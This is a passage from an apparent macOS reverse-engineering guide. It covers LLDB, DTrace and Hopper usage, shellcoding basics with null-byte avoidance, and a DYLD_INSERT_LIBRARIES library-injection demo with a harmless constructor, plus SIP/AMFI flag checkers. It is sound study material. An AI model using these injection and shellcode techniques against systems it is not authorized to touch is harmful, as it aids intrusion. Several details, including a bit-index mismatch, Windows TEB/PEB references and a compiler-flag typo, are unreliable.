Writes a value to a specific register. | (lldb) register write eax 5 |
| Memory Formatting Options | |||
| Read Memory as ASCII String | memory read --format s |
Reads memory content as ASCII strings. | (lldb) memory read --format s 0x00400000 |
| Read Memory as Unicode String | memory read --format U |
Reads memory content as Unicode strings. | (lldb) memory read --format U 0x00400000 |
| Write ASCII String to Memory | memory write --format s |
Writes an ASCII string to memory. | (lldb) memory write --format s 0x00400000 "Hello, World!" |
| Write Unicode String to Memory | memory write --format U |
Writes a Unicode string to memory. | (lldb) memory write --format U 0x00400000 "Hello, World!" |
| Read Memory as Hex String | memory read --format x |
Reads memory content and displays it as hex. | (lldb) memory read --format x 0x00400000 |
| Read Memory as Decimal | memory read --format d |
Reads memory content and displays it as decimal. | (lldb) memory read --format d 0x00400000 |
Breakpoints in LLDB
| Breakpoint Type | Command Example | Description |
|---|---|---|
| Software Breakpoints | breakpoint set --address [Address] |
Sets a software breakpoint at a specified memory address. |
breakpoint set --name [Function] --shlib [Module] |
Sets a breakpoint at the start of a function within a specific module. | |
| Unresolved Breakpoints | breakpoint set --name [Function] |
Sets a breakpoint that will resolve when the function is loaded into memory. |
| Conditional Breakpoints | breakpoint set --name [Function] --condition '[Condition]' |
Sets a breakpoint with a condition. The breakpoint will only trigger if the condition evaluates to true. |
breakpoint command add [BreakpointID] --python '[PythonScript]' |
Attaches a Python script to a breakpoint. The script executes when the breakpoint hits. | |
| Breakpoint-Based Actions | breakpoint command add [BreakpointID] |
Attaches a series of LLDB commands to a breakpoint, which are executed when the breakpoint is hit. |
| Hardware Breakpoints | breakpoint set --hardware --address [Address] |
Sets a hardware breakpoint at a specified address. |
Debugging (Stepping & Tracing) in LLDB
| Action | Command | Example | Description |
|---|---|---|---|
| Step Over | thread step-over |
(lldb) thread step-over |
Executes the next line or instruction, stepping over function calls. |
| Step Into | thread step-in |
(lldb) thread step-in |
Executes the next line or instruction, stepping into functions and calls. |
| Step Over with Count | thread step-over --count [n] |
(lldb) thread step-over --count 2 |
Executes the next [n] instructions, stepping over any function calls. |
| Step Into with Count | thread step-in --count [n] |
(lldb) thread step-in --count 2 |
Executes the next [n] instructions, tracing into any function calls. |
| Step Out | thread step-out |
(lldb) thread step-out |
Continues execution until the current function returns to its caller. |
| Step to Next Return | thread until-return |
(lldb) thread until-return |
Executes until the current function returns. |
| Step to Next Branch | thread until-branch |
(lldb) thread until-branch |
Executes until it reaches any branching instruction. |
| Step to Next Call | thread until-call |
(lldb) thread until-call |
Executes until a call instruction is reached within the current function. |
| Step Until Address | thread until --address [addr] |
(lldb) thread until --address 0x00400000 |
Continues execution until reaching the specified address. |
Modules & Info Commands in LLDB
| Command | Example | Description | |
|---|---|---|---|
| List Loaded Modules | image list |
Lists all modules loaded by the process along with detailed information. | |
image list [pattern] |
(lldb) image list libc |
Lists modules that match the given pattern, useful for filtering specific libraries or modules. | |
| Examine Symbols | image lookup --name [name] |
Looks up symbols by name across all modules. | |
image lookup --name [name] --shlib [module] |
(lldb) image lookup --name strcpy --shlib libc |
Lists symbols within a specific module that match the symbol name provided. | |
| Address Information | image lookup --address [addr] |
Provides detailed information about the function or symbol at the specified address including the module it belongs to. | |
| Memory Protection Attributes | Not directly supported in LLDB | LLDB does not directly provide page protection details, typically handled by OS-specific commands or tools. | |
| Thread Environment Block | Access via memory read | (lldb) memory read --format x --size 8 --count 1 $teb |
Reads the Thread Environment Block (TEB) for the current thread indirectly by reading the relevant register or memory address. |
| Process Environment Block | Access via memory read | (lldb) memory read --format x --size 8 --count 1 $peb |
Shows the Process Environment Block (PEB) indirectly by accessing the relevant memory area, which holds process-related information. |
Evaluate Expression in LLDB
| Command | Example | Description |
|---|---|---|
| Evaluate Expression | expression |
Evaluates C/C++ expressions, including function calls and accessing variables. |
| expression [expr] | (lldb) expression 3 + 4 |
Evaluates the sum of 3 and 4. |
| Convert Hex to Dec | expression (int)0x20 |
Converts a hexadecimal number to its decimal equivalent. |
| Convert Dec to Hex | expression (hex)54 |
Converts a decimal number to its hexadecimal equivalent. Note: Use format specifiers for output formatting. |
| Bitwise Shift | expression 3 << 1 |
Performs a bitwise left shift on a number, effectively multiplying it by 2. |
| Bitwise AND | expression 0x12345678 & 0xffff |
Performs a bitwise AND operation to mask certain bits. |
| Use Register Value | expression $rip + 24 |
Evaluates an expression using the current value of the rip register (note: rip for x64, eip for x86) and adds a value to it. |
| Negative Hex Representation | expression -0x0fe |
Evaluates the negative hexadecimal representation of a number. |
| Evaluate with Context | expression -- [expr] |
Evaluates expressions with full access to the program’s variables and memory. |
(lldb) expression -- (char*)$rdi |
Interprets the value of the rdi register as a pointer to a character (string). | |
| Format Results in Hex | expression -f x -- (expression) |
Formats the result of an expression in hexadecimal. |
LLDB Scripting
| Description | Script Command | Example | Notes |
|---|---|---|---|
| Assign a value to a pseudo-register | command script add |
(lldb) command script add -f my_script.set_register my_cmd |
Adds a custom command that sets a register value, defined in a Python function my_script.set_register. |
| Execute a command repeatedly | Python looping in script | (lldb) command script add -f my_script.loop_command my_loop |
Adds a loop command defined in my_script.loop_command to execute LLDB commands repeatedly. |
| Conditional breakpoint with script | breakpoint command add |
(lldb) breakpoint set --name func -c "int_var == 1" |
Sets a conditional breakpoint that only triggers if int_var equals 1. |
| Write to a log file | Python scripting to log output | (lldb) command script add -f my_script.log_output log_cmd |
Custom script to log debugging output to a file, defined in my_script.log_output. |
| Branching in script | Python if-else in command script | (lldb) command script add -f my_script.check_condition check_cmd |
Implements branching logic within an LLDB command script defined in my_script.check_condition. |
| Using aliases | command alias |
(lldb) command alias ls_regs register read |
Creates an alias ls_regs for the register read command. |
| Script loops with aliases | Python loops to execute commands | Define a loop in a Python script and use lldb API to execute LLDB commands within the loop. |
Useful for repetitive tasks, where Python controls the loop logic. |
| Data manipulation with scripts | Use Python scripts for data manipulation | (lldb) command script add -f my_script.manipulate_data data_cmd |
Custom script to manipulate data, defined in my_script.manipulate_data. |
| Logging with a condition | Conditional logging via Python script | (lldb) command script add -f my_script.conditional_log log_if_cmd |
Adds conditional logging functionality through a custom script my_script.conditional_log. |
| Iterating over a list of addresses | Python for loop in scripting | Script a Python for loop to iterate over addresses and execute LLDB commands. | Use Python to automate tasks over a range of memory addresses. |
| Conditionally modifying memory | Use Python conditionals and LLDB commands | Define conditions in Python and use LLDB API to modify memory based on these conditions. | Combines Python’s conditional logic with memory modification commands in LLDB. |
| Running a script file | command source |
(lldb) command source /path/to/my_script.lldb |
Executes LLDB commands from a script file. |
| Custom command sequences | command script add |
(lldb) command script add -f my_script.custom_sequence my_sequence |
Adds a custom command sequence defined in my_script.custom_sequence. |
Hopper
Set a breakpoint
- One the red line on the left side click on the line you want to set breakpoint at:
BookMark an instruction
- On the green line on the left side click on the line next to the instruction you want to bookmark:
Bookark list
Breakpoints list
Debugger
- Choose the local or remote debugging
Local Debugging
- Controls:
- This area typically contains buttons for controlling the debugging session, such as starting/pausing the execution (Play/Pause buttons), stopping the debug session, stepping into/over/out of functions (Step commands), and potentially restarting the debugged program. The “Connected” indicator suggests a successful attachment to the process or target for debugging.
- Threads and Callstack:
- This section is split into two main parts:
- Threads: Shows a list of all the threads in the current debugging session. You can select a thread to view its call stack and register state.
- Callstack: Displays the call stack of the selected thread. The call stack lists the sequence of function calls that are currently active. It starts with the current function where the execution is paused and goes back to the initial function call.
- This section is split into two main parts:
- Attach to Process:
- This button is used to attach the debugger to a running process. You can use this if you want to debug a program that is already running rather than starting a new debug session.
- Register Groups:
- The register tabs (GPR, FPU, MMX, etc.) organize the display of the CPU’s registers into groups:
- GPR (General Purpose Registers): Displays general-purpose registers like RAX, RBX, RCX, etc. These registers are used for a variety of purposes, including arithmetic and data manipulation.
- FPU (Floating-Point Unit Registers): Shows the state of floating-point registers used for floating-point arithmetic operations.
- MMX (Multimedia Extensions Registers): Lists MMX registers which are used for multimedia tasks like audio or video processing.
- Each register may have indicators or buttons next to them for additional functionalities like setting watchpoints or modifying their values.
- Memory: A tab or section for viewing and editing the memory of the process being debugged.
- Debugger Console: An interface for typing commands directly into the debugger, similar to a command-line interface.
- Application Output: Where the standard output and error streams from the debugged process are displayed. This is where you would see print statements or error messages from the program.
- Various CPU registers state (right side): Displaying the current state of additional registers, like segment registers (CS, DS, ES, etc.) and flags (RFLAGS), providing status flags and control bits used by the CPU.
DTrace
DTrace is a comprehensive dynamic tracing framework that is integrated into the
XNUkernel onmacOS. It provides detailed real-time insights into kernel and application behavior.
- The register tabs (GPR, FPU, MMX, etc.) organize the display of the CPU’s registers into groups:
DTrace Basic Terms
- Providers: Modules within the kernel that offer tracing functionality. Example:
syscall. - Probes: Trace points within providers that monitor specific events, like function entry and exit.
- DTrace Consumers: Utilities that interact with DTrace, such as the
dtracecommand. - D Language: Scripting language used to write DTrace programs.
DTrace and Utilities for Different Usages
| Utility/Command | Options | Usage | Explanation |
|---|---|---|---|
dtrace |
-l |
List Probes | Lists all DTrace probes available on the system. |
dtrace |
-n 'probe description' |
Start Tracing | Initiates tracing based on a specified probe description. |
dtrace |
-s script.d |
Run Script | Executes a DTrace script from a file. |
dtrace |
-q |
Quiet Mode | Suppresses output of DTrace actions, useful for scripts that do not require immediate console output. |
dtruss |
-n process |
Trace Process | Runs the dtruss script to trace system calls made by the specified process. |
dtruss |
-e |
Trace Executable | Traces system calls when a specific executable is run. |
dtruss |
-p PID |
Trace PID | Attaches to an existing process and traces its system calls. |
iosnoop |
N/A | I/O Monitor | Monitors file I/O activity in real-time. |
opensnoop |
-n process |
File Access Monitor | Monitors files being opened by a specific process. |
execsnoop |
N/A | Exec Calls Monitor | Monitors execution of processes. |
errinfo |
N/A | Error Monitor | Monitors system call failures. |
dapptrace |
-p PID |
Application Tracer | Traces application-level activity for the specified process ID. |
bitesize.d |
N/A | Disk I/O Size Analysis | Analyzes disk I/O size by process, using DTrace. |
Examples of DTrace Script Usage
- List all syscall probes for open calls
-
sudo dtrace -l -n 'syscall::open*:entry' - Trace system calls for a process named ‘myapp’
-
sudo dtrace -n 'syscall:::entry /execname == "myapp"/ { trace(probefunc); }' -
Run a DTrace script from a file
sudo dtrace -s /path/to/myscript.d -
Trace file opens for process ID 12345 using opensnoop
sudo opensnoop -p 12345 -
Monitor disk I/O size by process using bitesize.d
sudo bitesize.d
- Scripting with
dtrace:- https://docs.oracle.com/cd/E18752_01/html/819-5488/docinfo.html
- https://docs.oracle.com/en/operating-systems/solaris/oracle-solaris/11.4/dtrace-guide/index.html
Shellcoding On AMD64
macOS System Call Classes
| Class Number | Class Name | Description | Masked Value Example |
|---|---|---|---|
0 |
SYSCALL_CLASS_NONE |
Invalid System Calls | 0x0000000 |
1 |
SYSCALL_CLASS_MACH |
Mach-related System Calls | 0x01000000 |
2 |
SYSCALL_CLASS_UNIX |
Unix/BSD System Calls | 0x02000000 |
3 |
SYSCALL_CLASS_MDEP |
Machine-dependent Syscalls | 0x03000000 |
4 |
SYSCALL_CLASS_DIAG |
Diagnostic System Calls | 0x04000000 |
5 |
SYSCALL_CLASS_IPC |
Mach IPC System Calls | 0x05000000 |
Each system call class is associated with a unique number, which is shifted left by 24 bits (defined by SYSCALL_CLASS_SHIFT) to determine its class. The SYSCALL_CLASS_MASK and SYSCALL_NUMBER_MASK are used to extract the class and syscall number respectively.
For example, a traditional BSD system call such as execve (system call number 59 or 0x3b) in the SYSCALL_CLASS_UNIX (number 2) would be represented as 0x200003b when passed to the syscall assembly instruction.
; Assembly example to make a syscall with execve (BSD) in macOS
mov rax, 0x200003b ; Load the syscall number for execve (59 with class mask)
mov rdi, address ; Address of the command to execute
mov rsi, argv ; Pointer to an array of arguments
mov rdx, envp ; Pointer to an array of environment variables
syscall ; Make the system call
Calling Conventions and Registers for Shellcoding on macOS (AMD64)
| Register | Usage |
|---|---|
RDI |
1st function argument |
RSI |
2nd function argument |
RDX |
3rd function argument (and optionally the 2nd return value) |
RCX |
4th function argument |
R8 |
5th function argument |
R9 |
6th function argument |
RAX |
Function return value |
RIP |
Instruction pointer |
RSP |
Stack pointer (must be 16-byte aligned before calls) |
RBP |
Frame pointer |
RBX |
Base pointer (optional use) |
If a function requires more than six arguments, additional arguments are passed on the stack. It is essential to ensure that the RSP is properly aligned before making a function call. Despite system calls often working without strict alignment, adhering to this requirement is a good practice to avoid unexpected behavior.
Example
To illustrate how these registers are used in a function call, consider a function foo that takes three arguments.
; Assume arg1, arg2, and arg3 are already set with appropriate values
mov rax, syscall_number
mov rdi, arg1 ; 1st argument
mov rsi, arg2 ; 2nd argument
mov rdx, arg3 ; 3rd argument
syscall ; Call the function
Syscalls
You can find system calls numbers in the syscalls.master under the xnu source, You could choose the one you need with the version from the following link:
- https://opensource.apple.com/source/xnu/ and https://opensource.apple.com/releases/
Avoid Null-Bytes in Syscalls
To find out the bit number to set with the bts instruction, you need to compare the binary representation of the syscall number (example: 0x3b) with the binary representation of the syscall number plus the class mask (0x200003b). The echo and bc commands can be used to convert hexadecimal numbers to binary, and the xargs, printf, and tr commands format the output to compare the bits easily.
- Convert the syscall number (0x3b) to binary:
echo "obase=2; ibase=16; 3B" | bc | xargs printf "%064s\n" | tr ' ' '0'
This command will output the binary representation of 0x3b as a 64-bit number, padded with zeroes.
- Convert the syscall number with the class mask (0x200003b) to binary:
echo "obase=2; ibase=16; 200003B" | bc | xargs printf "%064s\n" | tr ' ' '0'
This command will output the binary representation of 0x200003b as a 64-bit number, padded with zeroes.
- Compare the Outputs:
Look for the first bit that differs when comparing the binary output from step 1 to the output from step 2. The differing bit’s position (starting from 0 on the right) is the bit you need to set with the bts instruction to transform the syscall number into the one with the class mask applied.
For instance, if the binary output for 0x3b is:
000...0000111011
And the binary output for 0x200003b is:
...0010000000000000000000111011
The differing bit is the 25th bit from the right (or the 24th index if you start counting from 0), which corresponds to the class mask.
Now, knowing that you need to set the 25th bit, you use the bts instruction with index 24 to set this bit in the register, as shown in the assembly example previously provided.
Syscall Number (0x3b): 000...0000111011
Syscall Number (0x200003b): ...0010000000000000000000111011
^
|
+--- Bit to set with `bts`
- Now executring the syscall:
push 59 ; put 59 on the stack
pop rax ; pop it to RAX
bts rax, 25 ; set the 25th bit to 1
syscall
Shellcoding on ARM64
Calling Conventions and Registers on macOS (Apple Silicon)
| Register | Usage | Description |
|---|---|---|
X0-X7 |
Function arguments and return values | Used to pass and return data from functions |
X8 |
Indirect return value address | Often used for memory allocation routines |
X9-X15 |
Caller-saved temporary registers | Can be changed by the called function, must be saved by the caller if needed |
X16 |
Inter-procedural scratch register; syscall number | Used for passing system call numbers |
X17 |
Inter-procedural scratch register | Temporary register, similar to X16 |
X18 |
Reserved on Apple platforms | Should not be used in user programs |
X19-X28 |
Callee-saved registers | Must be saved and restored by the called function if used |
X29 |
Frame pointer (FP) | Points to the base of the current stack frame |
X30 |
Link register (LR) | Stores the return address |
SP |
Stack pointer | Must be 16-byte aligned at function calls |
PC |
Program counter | Points to the next instruction to execute |
XZR |
Zero register | Always reads as zero and ignores writes |
The ARM64 architecture requires that the stack pointer (SP) is 16-byte aligned before making a function call, which is crucial for maintaining a reliable call stack and preventing alignment faults. When writing shellcode or functions in assembly, you need to preserve this alignment by adjusting the stack accordingly before function calls.
; Example assembly code for ARM64 macOS system call
mov x16, #SYS_write ; Load the syscall number for 'write' into X16
mov x0, #1 ; File descriptor 1 (stdout)
mov x1, buffer ; Pointer to buffer to write from
mov x2, #buffer_size ; Number of bytes to write
svc 0 ; Issue the system call instruction
Syscalls
You can find system calls numbers in the syscalls.master under the xnu source, You could choose the one you need with the version from the following link:
- https://opensource.apple.com/source/xnu/
Avoid Null-Bytes in Syscalls
Instead of performing the syscall using svc 0, the argument for for svc is aribtrary value, So it can be replaced:
mov x16, #SYS_write ; Load the syscall number for 'write' into X16
mov x0, #1 ; File descriptor 1 (stdout)
mov x1, buffer ; Pointer to buffer to write from
mov x2, #buffer_size ; Number of bytes to write
svc #1337 ; Issue the system call instruction
DYLD_INSERT_LIBRARIES Injection
- Understanding DYLD_INSERT_LIBRARIES:
DYLD_INSERT_LIBRARIESis an environment variable similar toLD_PRELOADon Linux.- It specifies a list of dynamic libraries to load before the application’s own libraries.
- Libraries specified in
DYLD_INSERT_LIBRARIESare loaded and executed in the context of the target application.
- Creating a Dynamic Library:
-
Write a C file for the dynamic library that will be injected. Example code:
#include <stdio.h> #include <syslog.h> __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { printf("[+] dylib constructor called from %s\n", argv[0]); syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } -
Compile this code into a dynamic library using GCC:
gcc -dynamiclib example.c -o example.dylib
-
- Preparing the Target Application:
-
Create a simple application to test the injection, such as a “Hello World” program:
#include <stdio.h> int main() { printf("Hello, World!\n"); return 0; } -
Compile the application:
gcc hello.c -o hello
-
- Performing the Injection:
-
Set the
DYLD_INSERT_LIBRARIESenvironment variable to point to the compiled dylib and run the target application:DYLD_INSERT_LIBRARIES=example.dylib ./hello -
The output should confirm that the dylib was loaded before the application’s main function:
[+] dylib constructor called from ./hello Hello, World!
-
- Monitoring Logs:
-
Use macOS’s logging system to confirm the injection and monitor behaviors:
log stream --style syslog --predicate 'eventMessage CONTAINS[c] "constructor"' -
This command filters and streams log messages containing “constructor”, showing live outputs as the injected dylib executes.
-
Restrictions of DYLD_INSERT_LIBRARIES
To mitigate the abuse of the DYLD_INSERT_LIBRARIES environment variable, Apple has implemented specific restrictions in the dyld loader. The key function in the dyld source code that manages the restrictions is pruneEnvironmentVariables, which is responsible for removing certain environment variables during the load process:
static void pruneEnvironmentVariables(const char* envp[], const char*** applep) {
// delete all DYLD_* and LD_LIBRARY_PATH environment variables
...
dyld::log("dyld: DYLD_ environment variables being ignored because ");
switch (sRestrictedReason) {
case restrictedNot:
break;
case restrictedBySetGUid:
dyld::log("main executable (%s) is setuid or setgid\n", sExecPath);
break;
case restrictedBySegment:
dyld::log("main executable (%s) has __RESTRICT/__restrict section\n", sExecPath);
break;
case restrictedByEntitlements:
dyld::log("main executable (%s) is code signed with entitlements\n", sExecPath);
break;
}
...
}
The removal of variables is influenced by:
- Setuid/setgid Executables:
- Environment variables starting with
DYLD_are ignored if the executable has setuid or setgid bits set. This is a security measure to prevent privilege escalation by injecting unauthorized code into a higher-privileged process.
- Environment variables starting with
- Executables with Restricted Segment:
- If the executable contains a
__RESTRICT/__restrictsegment in the Mach-O file,DYLD_environment variables are also ignored. This segment signals that the binary opts out of certain dynamic loading features to increase its security stance.
- If the executable contains a
- Entitlements and Code Signing:
- Executables that are code signed with entitlements may have restrictions on environment variables. If the
CS_RESTRICTflag is set in the code signature, it indicates that the process is restricted, leading to the ignoring ofDYLD_variables.
- Executables that are code signed with entitlements may have restrictions on environment variables. If the
Understanding processRestricted Function
The processRestricted function is pivotal in setting up the reasons for restrictions:
static bool processRestricted(const macho_header* mainExecutableMH) {
if (issetugid()) {
sRestrictedReason = restrictedBySetGUid;
return true;
}
...
if (syscall(SYS_csops, 0, CS_OPS_STATUS, &flags, sizeof(flags)) != -1) {
if (flags & CS_RESTRICT) {
sRestrictedReason = restrictedByEntitlements;
return true;
}
}
...
return false;
}
- This function checks for
setuid/setgidstatuses and whether the executable’s code signature defines it as restricted.
Debugging AMFI
- Setup:
- Use
lldbto attach to the process or during the process launch. - Set a breakpoint on
amfi_check_dyld_policy_selfto inspect howAppleMobileFileIntegrity(AMFI) influences the loading of dynamic libraries.
- Use
(lldb) b amfi_check_dyld_policy_self
Breakpoint 1: where = dyld`amfi_check_dyld_policy_self, address = 0x100001234
- Debugging:
- Continue execution to reach the breakpoint, then step through the code to observe how input flags are processed and output flags are set.
- Inspecting AMFI Output Flags:
- After the syscall, The output flags from
amfi_check_dyld_policy_self(stored inRCXregister) determine what an application can do concerning dynamic library loading. Each flag corresponds to a specific permission:- AMFI_DYLD_OUTPUT_ALLOW_AT_PATH: Allows loading dylibs from arbitrary paths.
- AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS: Permits printing environment variables.
- AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS: Allows using path variables.
- AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE: Permits custom shared cache settings.
- AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS: Enables fallback paths for library loading.
- AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION: Allows the insertion of libraries even if they fail some checks.
- AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING: Permits library interposing.
- After the syscall, The output flags from
SIP and AMFI Bits
- System Integrity Protection (SIP) Bits:
- SIP is controlled using specific configuration flags. Each bit in the configuration represents a different aspect of system protection, such as allowing debugging or kernel extensions. These are set in the csrActiveConfig and checked against desired permissions.
- Example flag:
CSR_ALLOW_TASK_FOR_PIDallows debugging processes.
- AMFI Policy Output Flags:
- These flags are set based on the security policy checks performed by AMFI. They influence the loader’s behavior regarding environment variables and dynamic loading.
- To interpret the flags, convert the output integer to binary and match each bit to the flag definitions.
Checking Flags
- Use shell commands to interpret numeric values into binary for easier flag analysis:
echo "obase=2; ibase=16; $(printf '%X' $FLAGS)" | bc
Script to check AMFI flags
#import <Foundation/Foundation.h>
typedef NS_OPTIONS(NSUInteger, amfi_dyld_policy_output_flag_set) {
AMFI_DYLD_OUTPUT_ALLOW_AT_PATH = (1 << 0),
AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS = (1 << 1),
AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE = (1 << 2),
AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS = (1 << 3),
AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS = (1 << 4),
AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION = (1 << 5),
AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING = (1 << 6),
};
void checkFlags(NSUInteger flags) {
NSString *greenStart = @"\033[32m"; // Green start
NSString *redStart = @"\033[31m"; // Red start
NSString *colorEnd = @"\033[0m"; // Reset to default color
NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_AT_PATH (gLinkContext.allowAtPaths): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_AT_PATH) ? greenStart : redStart, (flags &
AMFI_DYLD_OUTPUT_ALLOW_AT_PATH) ? @"Set" : @"Not Set", colorEnd);
NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS (gLinkContext.allowEnvVarsPath): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS) ? greenStart : redStart, (flags
& AMFI_DYLD_OUTPUT_ALLOW_PATH_VARS) ? @"Set" : @"Not Set", colorEnd);
NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE (gLinkContext.allowEnvVarsSharedCache): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE) ?
greenStart : redStart, (flags & AMFI_DYLD_OUTPUT_ALLOW_CUSTOM_SHARED_CACHE) ? @"Set" : @"Not Set", colorEnd);
NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS (gLinkContext.allowClassicFallbackPaths): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS) ? greenStart
: redStart, (flags & AMFI_DYLD_OUTPUT_ALLOW_FALLBACK_PATHS) ? @"Set" : @"Not Set", colorEnd);
NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS (gLinkContext.allowEnvVarsPrint): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS) ? greenStart : redStart,
(flags & AMFI_DYLD_OUTPUT_ALLOW_PRINT_VARS) ? @"Set" : @"Not Set", colorEnd);
NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION (gLinkContext.allowInsertFailures): %@%@", (flags &
AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION) ? greenStart : redStart, (flags & AMFI_DYLD_OUTPUT_ALLOW_FAILED_LIBRARY_INSERTION) ? @"Set" : @"Not Set",
colorEnd);
NSLog(@"%@AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING (gLinkContext.allowInterposing): %@%@", (flags & AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING) ?
greenStart : redStart, (flags & AMFI_DYLD_OUTPUT_ALLOW_LIBRARY_INTERPOSING) ? @"Set" : @"Not Set", colorEnd);
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %@ <hex value>", [NSString stringWithUTF8String:argv[0]]);
return 1; // Exit if no hex value is provided
}
NSString *hexArgument = [NSString stringWithUTF8String:argv[1]];
NSUInteger hexValue = strtoul([hexArgument UTF8String], NULL, 16);
checkFlags(hexValue);
}
return 0;
}
- Compile and run:
Compile
gcc -fraework Foundation checkDYLDFlags.m -o checkDYLDFlags
Run
./checkDYLDFlags 0X5d # replace with the output value
Script to check SIP(CSR) flags
#import <Foundation/Foundation.h>
// Define the CSR flags
#define CSR_ALLOW_UNTRUSTED_KEXTS (1 << 0)
#define CSR_ALLOW_UNRESTRICTED_FS (1 << 1)
#define CSR_ALLOW_TASK_FOR_PID (1 << 2)
#define CSR_ALLOW_KERNEL_DEBUGGER (1 << 3)
#define CSR_ALLOW_APPLE_INTERNAL (1 << 4)
#define CSR_ALLOW_UNRESTRICTED_DTRACE (1 << 5)
#define CSR_ALLOW_UNRESTRICTED_NVRAM (1 << 6)
#define CSR_ALLOW_DEVICE_CONFIGURATION (1 << 7)
#define CSR_ALLOW_ANY_RECOVERY_OS (1 << 8)
#define CSR_ALLOW_UNAPPROVED_KEXTS (1 << 9)
#define CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE (1 << 10)
#define CSR_ALLOW_UNAUTHENTICATED_ROOT (1 << 11)
// Function to check and print the status of CSR flags
void checkCSRFlags(uint32_t flags) {
NSString *greenStart = @"\033[32m"; // Green start
NSString *redStart = @"\033[31m"; // Red start
NSString *colorEnd = @"\033[0m"; // Reset to default color
// Array of flag names for defined and undefined flags
NSString *flagNames[] = {
@"CSR_ALLOW_UNTRUSTED_KEXTS",
@"CSR_ALLOW_UNRESTRICTED_FS",
@"CSR_ALLOW_TASK_FOR_PID",
@"CSR_ALLOW_KERNEL_DEBUGGER",
@"CSR_ALLOW_APPLE_INTERNAL",
@"CSR_ALLOW_UNRESTRICTED_DTRACE",
@"CSR_ALLOW_UNRESTRICTED_NVRAM",
@"CSR_ALLOW_DEVICE_CONFIGURATION",
@"CSR_ALLOW_ANY_RECOVERY_OS",
@"CSR_ALLOW_UNAPPROVED_KEXTS",
@"CSR_ALLOW_EXECUTABLE_POLICY_OVERRIDE",
@"CSR_ALLOW_UNAUTHENTICATED_ROOT",
@"UNDEFINED_FLAG_12",
@"UNDEFINED_FLAG_13",
@"UNDEFINED_FLAG_14",
@"UNDEFINED_FLAG_15",
@"UNDEFINED_FLAG_16",
@"UNDEFINED_FLAG_17",
@"UNDEFINED_FLAG_18",
@"UNDEFINED_FLAG_19",
@"UNDEFINED_FLAG_20",
@"UNDEFINED_FLAG_21",
@"UNDEFINED_FLAG_22",
@"UNDEFINED_FLAG_23",
@"UNDEFINED_FLAG_24",
@"UNDEFINED_FLAG_25",
@"UNDEFINED_FLAG_26",
@"UNDEFINED_FLAG_27",
@"UNDEFINED_FLAG_28",
@"UNDEFINED_FLAG_29",
@"UNDEFINED_FLAG_30",
@"UNDEFINED_FLAG_31"
};
// Check each flag and print its status
for (int i = 0; i < 32; i++) {
BOOL isSet = (flags & (1 << i)) != 0;
NSLog(@"%@%@: %@%@", isSet ? greenStart : redStart, flagNames[i], isSet ? @"Set" : @"Not Set", colorEnd);
}
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
if (argc < 2) {
NSLog(@"Usage: %@ <hex value>", [NSString stringWithUTF8String:argv[0]]);
return 1; // Exit if no hex value is provided
}
NSString *hexArgument = [NSString stringWithUTF8String:argv[1]];
uint32_t hexValue = strtoul([hexArgument UTF8String], NULL, 16);
checkCSRFlags(hexValue);
}
return 0;
}
- Compile and run:
Compile
gcc -fraework Foundation checkCSRFlags.m -o checkCSRFlags
Run
./checkCSRFlags 0x2fd # replace with the your value
Verifying Restrictions of DYLD_INSERT_LIBRARIES
Setting Up and Testing SUID Restrictions
- Change ownership and set SUID bit:
- Change the ownership of the binary to root and set the SUID bit to enable execution with root privileges.
sudo chown root hello
sudo chmod +s hello
ls -l hello
-
Testing dylib injection with SUID bit set:
- When attempting to inject a dylib into a binary with the SUID bit set, the injection should fail, indicating the security measures are working as expected.
./hello # Normal execution
DYLD_INSERT_LIBRARIES=example.dylib ./hello # Attempted dylib injection
-
Remove SUID bit and test dylib injection:
- Removing the SUID bit and attempting dylib injection again should succeed, demonstrating that the restriction is specifically linked to the SUID bit.
sudo chmod -s hello
DYLD_INSERT_LIBRARIES=example.dylib ./hello
Testing Restricted Segments
-
Add a restricted segment to the binary:
- Compiling a binary with a specific segment (
__RESTRICT/__restrict) that signals dyld to ignore certain dynamic loading features.
- Compiling a binary with a specific segment (
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restricted
-
Attempt dylib injection into the restricted binary:
- Injection attempts should fail, confirming that the restricted segment is recognized and respected by dyld.
DYLD_INSERT_LIBRARIES=example.dylib ./hello-restricted
-
Verify the presence of the restricted segment:
- Using the
sizecommand to verify the segments and sections of the compiled binary, confirming the presence of the__RESTRICTsegment.
- Using the
size -x -l -m hello-restricted
Hardened Runtime and Code Signing
-
Enable hardened runtime and code-sign the binary:
- Applying a hardened runtime setting to the binary using a self-signed certificate to enforce stricter security policies.
-
